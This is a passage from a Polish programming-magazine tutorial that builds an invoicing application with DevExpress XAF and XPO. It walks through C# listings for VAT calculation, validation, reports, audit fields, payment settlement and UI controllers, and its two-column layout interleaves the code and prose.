netto, VAT i brutto po zmianie ilości. Żeby liczyć VAT, musimy uzu- podstawić nową stawkę VAT i cenę jednostkową – Listing 14.

<20> { 1 / 2022 < 100 > }


/ eXpressApp Framework przyjacielem programisty /

Listing 14. Obliczenia po zmianie produktu Listing 17. Przykład użycia atrybutu ModelDefault do zablokowania edycji pól

... ...
[ImmediatePostData]
public Product Product [ModelDefault("AllowEdit", "False")]
{ public decimal Netto
get => product; {
set get => netto;
{ set => SetPropertyValue(nameof(Netto),
bool modified = SetPropertyValue( ref netto, value);
nameof(Product),ref product, value); }

if (modified && !IsLoading && !IsSaving [ModelDefault("AllowEdit", "False")]


&& Product != null) public decimal Vat
{ {
unitPrice = Product.UnitPrice; get => vat;
vatRate = Product.VatRate; set => SetPropertyValue(nameof(Vat),
RecalculateItem(); ref vat, value);
} }
} [ModelDefault("AllowEdit", "False")]
} public decimal Brutto
... {
get => brutto;
set => SetPropertyValue(nameof(Brutto),
Atrybut ImmediatePostData informuje kontroler widoku, aby natych-
ref brutto, value);
miast po zmianie zawartości pola wywołał zdarzenie OnProperty­ }
Changed na polu Product. Spowoduje to wyliczenie wartości pozycji ...
w momencie wybrania produktu z listy. Domyślnie to zdarzenie wy-
woływane jest dopiero po przejściu do kolejnego pola. Podobnie robimy w fakturze z odpowiednimi polami. Dodajemy me-
todę, która sumuje nam pozycje faktury RecalculateTotals. Meto-
Listing 15. Obliczenia po zmianie ilości
da ta będzie wywoływana z poziomu pozycji wtedy, gdy ją przeliczy-
... my, lub w sytuacji gdy zmianie ulegnie faktura powiązana z pozycją
[ImmediatePostData]
– np. gdy pozycja zostanie podpięta do innej faktury lub zostanie
public decimal Quantity
{ usunięta.
get => quantity;
set Listing 18. Metoda odpowiadająca za sumowanie pozycji faktury
{
bool modified = SetPropertyValue( public class Invoice : BaseObject
nameof(Quantity),ref quantity, value); {
...
if (modified && !IsLoading && !IsSaving) internal void RecalculateTotals
{ (bool forceChangeEvents)
RecalculateItem(); {
} decimal oldNetto = Netto;
} decimal? oldVAT = Vat;
} decimal? oldBrutto = Brutto;
...
decimal tmpNetto = 0m;
Listing 16. Obliczenia po zmianie stawki VAT decimal tmpVAT = 0m;
decimal tmpBrutto = 0m;
...
foreach (var rec in Items)
[ImmediatePostData]
{
public VatRate VatRate
tmpNetto += rec.Netto;
{
tmpVAT += rec.Vat;
get => vatRate;
tmpBrutto += rec.Brutto;
set
}
{
Netto = tmpNetto;
bool modified = SetPropertyValue(nameof(VatRate),
Vat = tmpVAT;
ref vatRate, value);
Brutto = tmpBrutto;
if (modified && !IsLoading && !IsSaving)
{ if (forceChangeEvents)
RecalculateItem(); {
} OnChanged(nameof(Netto), oldNetto, Netto);
} OnChanged(nameof(Vat), oldVAT, Vat);
} OnChanged(nameof(Brutto), oldBrutto, Brutto);
... }
}
Wyliczanie po zmianie wartości netto na brutto i na odwrót nie ma ...
w tym przypadku sensu, ale warto zablokować użytkownikowi moż- }

liwość edycji tych pól. Najprościej jest to zrobić, dodając do nich od-
powiedni atrybut ModelDefault.

{ WWW.PROGRAMISTAMAG.PL } <21>
BIBLIOTEKI I NARZĘDZIA

public class InvoiceItem : BaseObject Kolejna kwestia do rozwiązania to numer faktury. Powinien być on
{
unikalny i nie może być pusty. Można zrobić tak, by automatycznie się
...
wyliczał, lub wymusić na użytkowniku, aby wpisywał właściwą wartość.
public Product Product Dla uproszczenia zastosujemy drugie rozwiązanie. XAF dostarcza nam
{
get => product;
dodatkowy moduł przeznaczony do weryfikacji poprawności wprowa-
set dzanych danych: Validation Module (docs.devexpress.com/eXpress­
{ AppFramework/113684/validation-module), który służy do weryfikacji
bool modified = SetPropertyValue(
nameof(Product), ref product, value); poprawności danych, i wystarczy, że dodamy dwie adnotacje:

if (modified && !IsLoading Listing 20. Przykład użycia atrybutów RuleRequiredField oraz RuleUniqueValue
&& !IsSaving && Product != null)
{ using DevExpress.Persistent.Validation;
unitPrice = Product.UnitPrice;
public class Invoice : BaseObject
vatRate = Product.VatRate;
{
RecalculateItem();
...
}
} [RuleRequiredField]
} [RuleUniqueValue]
public string InvoiceNumber
...
{
private void RecalculateItem()
get => invoiceNumber;
{
set => SetPropertyValue(nameof(InvoiceNumber),
...
ref invoiceNumber, value);
if (Invoice != null) }
{ ...
Invoice.RecalculateTotals(true); }
}
}
... Teraz jeśli użytkownik będzie chciał zapisać takie dane, otrzyma ko-
}
munikat błędu o niekompletnych danych.

ZMIANY W MODELU
Przy wszystkich polach typu decimal program domyślnie wyświetla
nam lokalną walutę (stosuje maskę Currency {0:C}), my chcemy ją
zmienić w naszej aplikacji na {0:N}. W tym celu w projekcie Invo-
ice.Module.Win odszukujemy Model.DesignedDiffs.xafml, po klik-
nięciu na nim otworzy się Model Editor, w którym odszukujemy
gałąź: ViewItems/PropertyEditors/System.Decimal i zmienia-
my Default­DisplayFormat na {0:N}. Podobne kroki powtarzamy
w wersji Blazor, tylko tym razem w projekcie Invoice.Module.Blazor.

Rysunek 8. Podgląd listy klientów – wersja Blazor

Aplikacja do fakturowania jest prawie gotowa. Zostają nam drobne


rzeczy do poprawy: w miejscu obiektów widzimy identyfikator, za-
miast bardziej czytelnej dla ludzi nazwy lub wygenerowanego nume-
ru. Załatwi to dla nas atrybut XafDefaultProperty. W parametrze
atrybutu wskazujemy nazwę pola, które chcemy wyświetlać zamiast
wartości z identyfikatora. Standardowo XAF szuka pierwszego pola,
w którego nazwie występuje słowo Name, i to pole jest brane jako
domyślne.

Listing 19. Przykład użycia atrybutu XafDefaultProperty

...
[XafDefaultProperty(nameof(InvoiceNumber))]
public class Invoice : BaseObject
{
public Invoice(Session session) : base(session)
}
... Rysunek 9. Visual Studio – edytor modelu

<22> { 1 / 2022 < 100 > }


/ eXpressApp Framework przyjacielem programisty /

W efekcie mamy aplikację, która pozwala na prostą sprzedaż i któ- lumny w sekcji wydruku pozycji faktury. Powtarzamy operację jeszcze
rą jesteśmy w stanie napisać poniżej kilku godzin, uwzględniając czas trzykrotnie: przeciągamy tak samo do sekcji ReportDetail1.Detail,
na stworzenie wydruku faktury, statystyk z obrotami towarów itp. ReportDetail1.GroupFooter i ReportDetail1.ReportFooter. Te-
raz klikamy na liście pól prawym klawiszem myszki i przeciągamy

WYDRUK FAKTURY kolumny do sekcji nagłówka pozycji, czyli ReportDetail.Header.


Zwróćmy uwagę, że tym razem zamiast pól z danymi zostały prze-
XAF dysponuje modułem obsługującym wydruki, który wykorzysta- ciągnięte nazwy tych pól (LPM – przeciągamy pola na dane, PPM
my do przygotowania wydruku faktury. W tym celu w menu bocznym – przeciągamy nagłówek pola).
przechodzimy do sekcji Report i wybieramy Reports. Na liście wydru- W sekcji ReportDetail1 we wszystkich podsekcjach usuwamy
ków dodajemy nowy i w oknie wpisujemy nazwę naszego raportu oraz kolumny ProductName, Quantity, UnitPrice (wystarczy kliknąć
wybieramy klasę, na której ma być dostępny. Następnie naciskamy na polu PPM i wybrać delete column). Tak jest prościej niż doda-
Finish. Jeśli pojawi się pytanie o rodzaj wydruku, wybierzmy blank. wać te pola osobno i potem wyrównywać szerokości z listą pozycji.
Pojawi nam się okno kreatora wydruków, czyli Report Designer. W Report­Detail1.GroupFooter po kliknięciu PPM na polu mamy
Report Designer jest na tyle intuicyjny, że jeśli robiliśmy wydruk dostęp do właściwości tego pola, należy tam w polu Summary wy-
w jakimkolwiek innym narzędziu, np. Crystal Reports czy MS SQL brać Group, co oznacza, że to pole ma zliczać sumę w ramach grupy.
Reporting, to tu nie powinniśmy mieć większych problemów. Stan- W ReportDetail1.ReportFooter w podobny sposób wybieramy
dardowa polska faktura musi mieć dane klienta, sprzedawcy, listę Summary: Report, co oznacza, że będzie tam zliczana suma dla całe-
sprzedanych artykułów i oczywiście podsumowanie z rozbiciem na go raportu – czyli wszystkich pozycji z ReportDetail1. Operację tę
stawki VAT. Sekcję Detail proponujemy użyć jako nagłówek na- powtarzamy dla pól Netto, Vat i Brutto.
szej faktury i dołożyć do niego dwukrotnie DetailReport, wska- W sekcji ReportDetail1.Detail ustawiamy Visiblity = false,
zując na kolekcję źródłową InvoiceItems. W efekcie końcowym co spowoduje, że ta sekcja nie będzie drukowana na raporcie.
powinniśmy mieć 3 sekcje: Detail, DetailReport(InvoiceItems) Klikając teraz na Report Preview, zobaczymy, że kolejne faktury
i DetailReport1(InvoiceItems). Pierwszy z nich wyświetli nam pojawiają się na tej samej kartce zaraz po poprzedniej. Należy usta-
listę pozycji faktury, a drugi pogrupujemy po symbolu stawki VAT, wić przejście do nowej strony dla każdej z faktur. Żeby to osiągnąć,
wyliczymy sumę wg grupy i sumę wg raportu, co da nam podsumo- wybierzmy sekcję Detail i w menu po prawej w polu PageBreak wy-
wanie w stawkach VAT i podsumowanie całej faktury. W Detail- bieramy Before Band Except First Entry.
Report dodajemy GroupHeader, w którym umieścimy nagłówek Jeśli program nie będzie służył do obsługi płatności w BTC, przy-
pozycji. W DetailReport1 dodajemy grupowanie po stawce VAT dałoby się zaznaczyć wszystkie pola z kwotami i ustawić im format
i minimalizujemy GroupHeader – bo go nie potrzebujemy, a jedno- na {0:N2}.
cześnie nie da się go wyłączyć. GroupFooter przeznaczamy nato-
miast na podsumowanie całej faktury.

Rysunek 11. Report Designer – ustawianie formatu

Rysunek 10. Report Designer – wersja WinForms

Do sekcji Detail dodajemy dane faktury, takie jak numer, datę płat-
ności, wystawienia i dane klienta.
Na liście dostępnych pól wybieramy te, które chcemy mieć w sekcji
pozycji dokumentu InvoiceItems. Najlepiej wybrać wszystkie naraz
w kolejności, w jakiej mają być na fakturze (z wciśniętym Ctrl klikamy
kolejno na Product.ProductName, Quantity, UnitPrice,VatRate.
Symbol, Netto, Vat i Brutto). Następnie klikając na jednym z zazna-
czonych pól lewym przyciskiem myszy, przeciągamy do sekcji De- Rysunek 12. Report Designer – wybór pól dla raportu
tailReport.Detail. W ten sposób mamy wszystkie wymagane ko-

{ WWW.PROGRAMISTAMAG.PL } <23>
BIBLIOTEKI I NARZĘDZIA

Pozostaje dopasowanie szerokości kolumn, ustawienie rodzaju i roz- styczny. Głównym zadaniem OL jest kontrola modyfikacji tego same-
miaru czcionki, pogrubień itp. Można to zrobić wg własnego gustu. go obiektu przez wielu użytkowników. Do tego celu używane jest pole
Po wybraniu preview wydruk wygląda mniej więcej jak na Rysunku 21. OptimisticLockingField automatycznie dodawane do tworzonych
tabel (w wybranych typach klas XPO – szczegóły w Tabeli 1). Gdy
obiekt odczytywany jest z bazy danych, zapamiętywana jest wartość
z OptimisticLockingField. Gdy obiekt jest zmieniany, zapamięta-
na wartość porównywana jest z wartością w bazie i jeśli występuje
różnica, zgłaszany jest wyjątek LockingException. Jeśli wartości są
równe, pole OptimisticLockingField jest aktualizowane (domyśl-
nie jest to inkrementowane pole typu int) i obiekt jest zapisywany
do bazy.

Odroczone usuwanie danych (Deferred Deletion)


Jeśli nasze klasy BO dziedziczą po XPObject, XPCustomObject lub
BaseObject, włączone jest Deferred Deletion. Oznacza to, że w mo-
mencie usuwania danych, XPO nie kasuje fizycznie rekordu z bazy,
tylko oznacza go jako usunięty, wypełniając pole GCRecord. Podczas
wyświetlania kolekcji danych (np. na ListView) pobierane są rekor-
dy, w których GCRecord ma wartość NULL. Pobierane są jedynie,
gdy wyświetlamy dane, z którymi były w relacji (usunięty rekord
jest widoczny, ale nie można go edytować). To rozwiązanie pozwa-
la uniknąć błędów w czasie usuwania lub późniejszego dostępu do
danych, które były powiązane z usuniętym obiektem. Usunięty w ten
sposób rekord można odzyskać, wstawiając do pola GCRecord war-
tość NULL.
Tworząc obiekty biznesowe w bieżącej aplikacji, w większości
przypadków użyliśmy klas XPO, które można podzielić wg ich funk-
cjonalności i przeznaczenia:
Rysunek 13. Podgląd wydrukowanego raportu

De-
Typ Obiektu Wbudowany Optimistic
Brakuje na razie tekstu kwota słownie, dane sprzedawcy, ale to uzu- ferred Uwagi
XPO OID Locking
pełnimy w niedalekiej przyszłości. Deletion

Domyślny typ dla


JAK TO WSZYSTKO DZIAŁA XPObject TAK TAK TAK
aplikacji XAF, najlepszy
dla nowo tworzonych
aplikacji
Chociaż XAF pomaga programistom zaoszczędzić znaczną ilość Typ używany dla
czasu, sama architektura nie kontroluje każdego aspektu procesu zaimportowanych BO
z bazy danych, gdy
tworzenia oprogramowania. Nadal należy stosować się do dobrych XPLiteObject NIE NIE NIE
zależy nam, by nie
praktyk, tworzyć testy jednostkowe i – co ważne dla rozbudowanych modyfikować struktury
istniejącej bazy danych
aplikacji – dobrze rozpoznać dziedzinę i zaprojektować architekturę
tworzonej aplikacji. Wbrew pozorom nie jest to narzędzie dla po- Typ używany dla zaim-
portowanych BO z bazy
czątkujących programistów. Część klas można wyklikać w edytorze XPCustomO-
NIE TAK TAK danych, gdzie chcemy
bject
lub zaimportować z istniejącej bazy danych i uruchomić działającą użyć wbudowanego
mechanizmu DD i OL
aplikację bez napisania linijki kodu, ale do tworzenia złożonych apli-
Praktycznie
kacji nadal niezbędna jest znajomość Visual Studio, programowania Persistent- nieużywany w XAF,
NIE NIE TAK
obiektowego, tworzenia zapytań LINQ itp. Dobrze jest znać dobre Base służy jako bazowy dla
pozostałych
praktyki dla używanych technologii. Kluczowa jest znajomość sa-
mych zasad funkcjonowania XAF i XPO. XPBaseObject NIE NIE TAK j.w.

W sytuacji gdy po-


trzebujemy użyć GUID
Kontrola współdzielonego dostępu do danych BaseObject TAK TAK TAK w polu identyfikatora,
można użyć tego typu
(Optimistic Locking) zamiast XPObject

Obsługa współdzielonego dostępu do bazy danych wymagana jest w każ- Tabela 1. Tablica przedstawiająca typy obiektów XPO
dej poważnej aplikacji biznesowej. XPO obsługuje wariant optymi-

<24> { 1 / 2022 < 100 > }


/ eXpressApp Framework przyjacielem programisty /

PermissionPolicyUser updatedBy;
Object Space [DetailViewLayoutAttribute(LayoutColumnPosition.Left,
"Auditing", 900)]
Wszystkie operacje związane z bazą danych odbywają się poprzez [ModelDefault("AllowEdit", "False")]
ObjectSpace [8] [9]. ObjectSpace pozwala nam na edycję czy prze- public PermissionPolicyUser UpdatedBy
{
szukiwanie danych jako transakcji. Każdy tworzony widok ma swój
get { return updatedBy; }
ObjectSpace, który zajmuje się dostarczaniem danych do widoku, set { SetPropertyValue("UpdatedBy"
rejestruje zmiany obiektów widoku i pozwala je zapisać w bazie da- , ref updatedBy, value); }
}
nych. Dostęp do ObjectSpace mamy poprzez View.ObjectSpace.
Możemy z niego korzystać np. w kontrolerach. Niemniej jednak DateTime updatedOn;
[DetailViewLayoutAttribute(LayoutColumnPosition.Right,
View.ObjectSpace jest przewidziany do operacji związanych z ob- "Auditing", 900)]
sługiwanym widokiem. Jeśli chcemy przeprowadzać złożone operacje [ModelDefault("AllowEdit", "False"),
na wielu danych, lepiej jest utworzyć osobny ObjectSpace za pomocą ModelDefault("DisplayFormat", "G")]
public DateTime UpdatedOn
komendy Application.CreateObjectSpace. {
get { return updatedOn; }
set { SetPropertyValue("UpdatedOn"
ROZBUDOWUJEMY APLIKACJĘ , ref updatedOn, value); }
}
W przypadku niektórych danych chcielibyśmy mieć informację o tym, }
kto i kiedy utworzył rekord lub go modyfikował. Napiszemy w tym
celu klasę CustomBaseObject, która będzie wypełniać te dane. Następnie klasy, w których chcemy przechowywać takie informa-
cje, zmodyfikujemy, aby dziedziczyły nowo powstałą klasę Custom-
Listing 21. Klasa CustomBaseObject
BaseObject. W naszym przypadku będą to klasy z fakturami, klien-
[NonPersistent] tami i produktami – Listing 22.
public abstract class CustomBaseObject : BaseObject
{ Listing 22. Dziedziczenie po klasie CustomBaseObject
public CustomBaseObject(Session session)
: base(session) ...
{} public class Invoice : CustomBaseObject
{
PermissionPolicyUser GetCurrentUser() ...
{
...
return Session.GetObjectByKey
public class Customer : CustomBaseObject
<PermissionPolicyUser>(SecuritySystem.CurrentUserId);
{
}
...
public override void AfterConstruction()
{ ...
base.AfterConstruction(); public class Product : CustomBaseObject
CreatedOn = DateTime.Now; {
CreatedBy = GetCurrentUser(); ...
}
protected override void OnSaving()
{
base.OnSaving();
MODYFIKACJA WIDOKÓW
UpdatedOn = DateTime.Now;
UpdatedBy = GetCurrentUser();
Wprowadzimy teraz drobne zmiany w interfejsie użytkownika za po-
} mocą Model Editor: W SolutionExplorer odszukujemy projekt Invoice.
PermissionPolicyUser createdBy; Module, a w nim plik Model.DesignedDiffs.xafml. Po otwarciu Model
[ModelDefault("AllowEdit", "False")]
[DetailViewLayoutAttribute(LayoutColumnPosition.Left Editor idziemy do Views/Invoice.Module.BusinessObjects/Cus-
,"Auditing", 900)] tomeer/Customer_DetailView, gdzie pojawi się domyślne okno przy-
public PermissionPolicyUser CreatedBy gotowane do edycji danych klienta. Klikając PPM na oknie, pojawi się
{
get { return createdBy; } opcja Customize Layout i uruchomi się edytor pozwalający na mo-
set { SetPropertyValue("CreatedBy", dyfikację widoku. W tym przypadku pole Notes zajmuje 30% ekranu,
ref createdBy, value); } a nie jest tak istotne jak np. lista Invoices. Dlatego grupę Invoices
}
zamienimy na TabbedGroup, na polu Notes utworzymy nową grupę,
DateTime createdOn;
którą przeciągniemy jako drugą zakładkę w InvoicesTabbedGroup.
[DetailViewLayoutAttribute(LayoutColumnPosition.Right,
"Auditing", 900)] Modyfikacje layoutu w wyżej przedstawiony sposób są nieunik-
[ModelDefault("AllowEdit", "False"), nione, żaden automat nie zrobi tego dokładnie, jak wymyśli to sobie
ModelDefault("DisplayFormat", "G")]
użytkownik, dlatego biegłość w definiowaniu widoku jest przydatna.
public DateTime CreatedOn
{ Dla tych, którzy uruchomili program na swoim komputerze, propo-
get { return createdOn; } nujemy otworzyć formatkę DetailView klienta i klikając PPM, wy-
set { SetPropertyValue("CreatedOn"
, ref createdOn, value); } brać Customize Layout. Taka mała niespodzianka, rzadko dostępna
} w aplikacjach tego typu…

{ WWW.PROGRAMISTAMAG.PL } <25>
BIBLIOTEKI I NARZĘDZIA

Rysunek 14. Edytor modelu – modyfikacja layoutu

Podobny efekt można uzyskać, stosując DetailViewLayoutAt- Podobnie możemy zrobić praktycznie w każdej klasie, gdzie wy-
tribute, dodając je do pól, które chcemy zebrać w jednej grupie – stępuje jakaś kolekcja i pole string z rozmiarem Unlimited.
Listing 23. Więcej na temat modyfikacji widoków znajdziemy na stronie
DevExpress [10].
Listing 23. Przykład użycia atrybutu DetailViewLayout

public class Customer : CustomBaseObject


{ WPŁATY I ROZRACHUNKI
...
[Association] Nowe wymaganie od użytkownika: program ma umożliwiać rejestro-
[DetailViewLayoutAttribute("InvoicesNotes", wanie wpłat dokonanych przez kontrahenta. Jedna wpłata może spła-
LayoutGroupType.TabbedGroup, 100)]
public XPCollection<Invoice> Invoices
cać część faktury, całą fakturę lub wiele faktur. Klient może wskazać,
{ jakiej faktury dotyczy wpłata, ale to osoba rozliczająca decyduje, któ-
get ra faktura zostanie spłacona. Należy także dostarczyć automat rozli-
{
return GetCollection<Invoice> czający wpłatę na faktury w kolejności daty płatności faktur.
(nameof(Invoices)); Teraz rozbudujemy naszą aplikację o możliwość rejestrowania wpłat.
}
}
[DetailViewLayoutAttribute("InvoicesNotes",
LayoutGroupType.TabbedGroup, 100)]
[Size(SizeAttribute.Unlimited)]

public string Notes
{
get => notes;
set => SetPropertyValue(nameof(Notes),
ref notes, value);
}
...
}

Rysunek 15. Tablica zależności pomiędzy tabelami

<26> { 1 / 2022 < 100 > }


/ eXpressApp Framework przyjacielem programisty /

W kliencie dodamy kolekcję wpłat – Listing 24. {


return GetCollection<InvoicePayment>
Listing 24. Dodanie kolekcji wpłat do klasy klienta (nameof(InvoicePayments));
}
[DetailViewLayoutAttribute("InvoicesNotes", }
LayoutGroupType.TabbedGroup, 100)]
[DetailViewLayoutAttribute("PaymentsAndNotes",
[Association("Customer-Payments")]
LayoutGroupType.TabbedGroup, 100)]
public XPCollection<Payment> Payments
[Size(SizeAttribute.Unlimited)]
{
public string PaymentDescription
get
{
{
get => paymentDescription;
return GetCollection<Payment>(nameof(Payments));
set => SetPropertyValue(nameof(PaymentDescription),
}
ref paymentDescription, value);
}
}
[DetailViewLayoutAttribute("PaymentsAndNotes",
Tabela Wpłaty (Payment) będzie przechowywała informacje o wszyst- LayoutGroupType.TabbedGroup, 100)]
[Size(SizeAttribute.Unlimited)]
kich wpłatach od klienta:
public string Notes
{
Listing 25. Klasa biznesowa wpłat
get => notes;
set => SetPropertyValue(nameof(Notes),
public class Payment : CustomBaseObject
ref notes, value);
{
}
public Payment(Session session) : base(session)
{ } public void CalculateSumOfPayments
(bool forceChangeEvents = true)
decimal paymentBalance;
{
decimal sumOfPayments;
decimal? oldSumOfPayments = sumOfPayments;
string notes;
string paymentDescription; decimal sumOfPaymentsTotal = 0m;
Customer customer;
decimal amount; foreach (var payment in InvoicePayments)
DateTime paymentDate; {
sumOfPaymentsTotal += payment.Amount;
public DateTime PaymentDate }
{ sumOfPayments = sumOfPaymentsTotal;
get => paymentDate; paymentBalance = amount - sumOfPayments;
set => SetPropertyValue(nameof(PaymentDate),
ref paymentDate, value); if (forceChangeEvents)
} {
OnChanged(nameof(SumOfPayments),
public decimal Amount oldSumOfPayments, sumOfPayments);
{ OnChanged(nameof(PaymentBalance));
get => amount; }
set => SetPropertyValue(nameof(Amount), }
ref amount, value); }
}
[Association("Customer-Payments")] W powyższej klasie oprócz standardowych pól dotyczących wpła-
public Customer Customer
{ ty, tzn. data płatności, kwota, od kogo, opis itp., dodaliśmy kolekcję
get => customer; rozrachunków InvoicePayments pozwalającą przypisać wartości
set => SetPropertyValue(nameof(Customer),
częściowe tej wpłaty na poszczególne faktury. Na podobieństwo zli-
ref customer, value);
} czania wartości faktury dodajemy tutaj metodę CalculateSumOf-
Payments, która aktualizuje wartość rozliczonych faktur tą wpłatą.
public decimal SumOfPayments
{ Metoda ta będzie wywoływana z obiektu InvoicePayment, gdy przy-
get => sumOfPayments; piszemy ją do płatności lub gdy zmieni się kwota.
set => SetPropertyValue(nameof(SumOfPayments),
ref sumOfPayments, value);
Dodatkowo dodamy dwie metody pozwalające znaleźć faktury,
} które można rozliczyć bieżącą wpłatą. Wyszukujemy niezapłacone
public decimal PaymentBalance faktury u tego samego klienta, do którego przypisana jest wpłata.
{
get => paymentBalance; Listing 26. Metody wyszukujące faktury do rozliczenia
set => SetPropertyValue(nameof(PaymentBalance),
ref paymentBalance, value); [Action(Caption = "Find invoices",
} TargetObjectsCriteria = "SumOfPayments < Amount",
ImageName = "BO_Skull", AutoCommit = true)]
[Association, Aggregated] public void FindInvoicesForPayment()
[DetailViewLayoutAttribute("PaymentsAndNotes", {
LayoutGroupType.TabbedGroup, 100)] if (Customer != null)
public XPCollection<InvoicePayment> InvoicePayments {
{ var invoices = customer.Invoices
get

{ WWW.PROGRAMISTAMAG.PL } <27>
BIBLIOTEKI I NARZĘDZIA

.Where(i => i.SumOfPayments < i.TotalBrutto) Payments.OrderBy(w => w.Payment?.PaymentDate))


.OrderBy(i => i.PaymentDate); {

foreach (var invoice in invoices) tempSumOfPayments += payment.Amount;


{ if (paymentDate != payment.Payment.PaymentDate
decimal rest = RegisterPayments2Invoice(invoice); && tempSumOfPayments >= TotalBrutto)
if (rest <= 0) {
{ paymentDate = payment.Payment.PaymentDate;
break; }
} }
} sumOfPayments = tempSumOfPayments ;
}
} if (forceChangeEvents)
{
public decimal RegisterPayments2Invoice OnChanged(nameof(SumOfPayments),
(BusinessObjects.Invoice invoice) oldSumOfPayments, sumOfPayments);
{ }
var balance = Amount - SumOfPayments; }
if (balance > 0)
{
var payment = new InvoicePayment(Session); Dodajemy też metodę, która pozwoli znaleźć wpłaty i przypisać je do
payment.Payment = this;
faktury.
payment.Invoice = invoice;

var dueAmount = Listing 28. Metoda przypisująca odnalezione wpłaty do faktury


invoice.TotalBrutto - invoice.SumOfPayments;
[Action(Caption = "Find payments",
payment.Amount = TargetObjectsCriteria = "SumOfPayments <
balance > dueAmount ? dueAmount : balance; TotalBrutto",
ImageName = "BO_Skull",AutoCommit =true)]
InvoicePayments.Add(payment);
public void FindPaymentsForInvoice()
CalculateSumOfPayments(true);
{
return balance - payment.Amount;
if (Customer != null)
}
{
return 0; var payments = customer.Payments
} .Where(i => i.SumOfPayments < i.Amount)
.OrderBy(i => i.PaymentDate);

Tu należy zwrócić uwagę na atrybut Action. Jest to najprostsza meto- foreach (var payment in payments)
{
da utworzenia akcji – nie potrzebujemy tworzyć kontrolera. W atry-
_ = payment.RegisterPayments2Invoice(this);
bucie określamy, jaki ma być napis na przycisku, ikonę oraz warunek, }
kiedy akcja ma być aktywna – w tym przypadku wtedy, gdy suma }
rozrachunków jest mniejsza niż kwota wpłaty. }

W fakturze dodajemy podobną kolekcję, która będzie przecho-


wywała informacje o rozrachunkach tej faktury. Następnie dodajemy Tu też należy zwrócić uwagę na atrybut Action – nie potrzebujemy
metodę, która pozwoli nam wyliczyć saldo faktury. Metoda ta będzie tworzyć kontrolera. W atrybucie określamy, jaki ma być napis na
wywoływana z obiektu InvoicePayment, gdy przypiszemy ją do fak- przycisku, ikonę oraz warunek, kiedy akcja ma być aktywna – w tym
tury lub gdy zmieni się kwota. przypadku wtedy, gdy suma wpłat nie spłaca wartości faktury.

Listing 27. Kolekcja wpłat faktury oraz metoda wyliczająca saldo faktury

[DetailViewLayoutAttribute("ItemsNotes",
KONTROLERY
LayoutGroupType.TabbedGroup, 100)]
Kontrolery pozwalają na rozszerzanie interfejsu użytkownika oraz
[Association, DevExpress.Xpo.Aggregated]
public XPCollection<InvoicePayment> Payments wykonywanie pewnych akcji w momencie otwierania lub zamykania
{ widoku. Są one pewnego rodzaju kontenerami, w których są prze-
get
{
chowywane akcje określone dla wybranych widoków oraz obiektów.
return GetCollection<InvoicePayment> Pierwszy kontroler posłuży do zmiany koloru nieparzystych wierszy
(nameof(Payments)); na listach, a dokładniej dwa kontrolery, ponieważ trzeba stworzyć osob-
}
} ny kontroler dla wersji Win oraz wersji Blazor. Kontroler wywoływany
jest dla każdego tworzonego ListView (ViewController<ListView>),
public void CalculateSumOfPayments
(bool forceChangeEvents = true) odnajduje w nim GridListEditor i ustawia mu odpowiednie właści-
{ wości. Oczywiście można to było zmienić w modelu, ale musieliby-
decimal? oldSumOfPayments = sumOfPayments; śmy to zrobić dla każdej klasy.
decimal tempSumOfPayments = 0m; Kontroler dla wersji Blazor tworzymy w projekcie Invoice.Mod-
paymentDate = DateTime.MinValue;
ule.Blazor – Listing 29.
foreach (var payment in

<28> { 1 / 2022 < 100 > }


/ eXpressApp Framework przyjacielem programisty /

Listing 29. Kontroler do zmiany koloru nieparzystych wierszy dla wersji Blazor GridView gridView = gridListEditor.GridView;
gridView.OptionsView.EnableAppearanceOddRow
public class GridViewController : = true;
ViewController<ListView>
{ gridView.Appearance.OddRow.BackColor
protected override void OnViewControlsCreated() = Color.FromArgb(244, 244, 244);
{ }
base.OnViewControlsCreated(); }
if (View.Editor is GridListEditor gridListEditor) }
{
IDxDataGridAdapter dataGridAdapter =
gridListEditor.GetDataGridAdapter(); Musieliśmy utworzyć dwa niezależne kontrolery, ponieważ sposób
dataGridAdapter.DataGridModel.CssClass odwołania się do GridView dla obu platform jest odmienny.
+= " table-striped";
}
} MODUŁ CONDITIONAL APPEARANCE
}
W XAF w celu warunkowej modyfikacji niektórych cech elementów
interfejsu użytkownika, np. kolorowania, widoczności czy rodzaju
fontu, możemy użyć modułu Conditional Appearance. Na przykład
w fakturach chcemy na niebiesko wyświetlać te, które są zapłacone,
a na czerwono niezapłacone przeterminowane – Listing 33.

Listing 33. Przykład użycia atrybutu Appearance

...
[Appearance("InvoiceIfPayed",
AppearanceItemType = "ViewItem",
TargetItems = "*",
Criteria = "SumOfPayments >= TotalBrutto",
Context = "ListView",
FontColor = "Blue",
Priority = 101)]
Rysunek 16. Lista klientów z kolorowymi wierszami – wersja Blazor [Appearance("InvoiceIfOverdue",
AppearanceItemType = "ViewItem",
TargetItems = "*",
Criteria = "Overdue = True",
Win tworzymy w projekcie Invoice.Module.Win – Listing 30. Context = "ListView",
FontColor = "Red",
Listing 30. Kontroler do zmiany koloru nieparzystych wierszy dla wersji Win Priority = 101)]
public class GridViewController : public class Invoice : BaseObject
ViewController<ListView> {
{
protected override void OnViewControlsCreated() [Browsable(false)]
{ public bool Overdue
base.OnViewControlsCreated(); => SumOfPayments < TotalBrutto
if (View.Editor is GridListEditor gridListEditor) && PaymentDate < DateTime.Now;
{ ...

Rysunek 17. Lista klientów z kolorowymi wierszami – wersja Win

{ WWW.PROGRAMISTAMAG.PL } <29>
BIBLIOTEKI I NARZĘDZIA

Ze względu na to, że kryteria do kolorowania pisane są w języ-


PODSUMOWANIE
ku wewnętrznym DevExpress, należy unikać wpisywania złożonych
warunków, ponieważ nie mamy tam weryfikacji składni na etapie Jeszcze raz chcemy podkreślić, że pomimo szybkiego stworzenia wer-
programowania i nietrudno o pomyłkę. Zdecydowanie wygodniej sji podstawowej aplikacji, nie jest to narzędzie dla początkujących
jest wyliczyć ten warunek w zmiennej Overdue i jej użyć w regule programistów. To nie jest tak, że nauczę się XAF i świat stoi dla mnie
Appearance/Criteria otworem. Nie zastąpi ono niezbędnego doświadczenia w budowaniu
Po dodaniu poniższego atrybutu, płatności, które zostały już za- architektury, w zachowaniu wszelkich zasad dobrych praktyk progra-
księgowane na faktury, będa kolorowane na niebiesko: mistycznych. Pozwoli nam jednak skupić się na rzeczach istotnych
i to jest główna zaleta tego narzędzia.
Listing 34. Przykład użycia atrybutu Appearance
Wyobraźmy sobie, że jedziemy na spotkanie z klientem, na tzw.
... sesję scrumowo-extreme-programistyczną, a po nim dysponujemy
[Appearance("PaymentIfBalanceZero",
surową wersją aplikacji, którą jedynie dopieszczamy przez resztę ty-
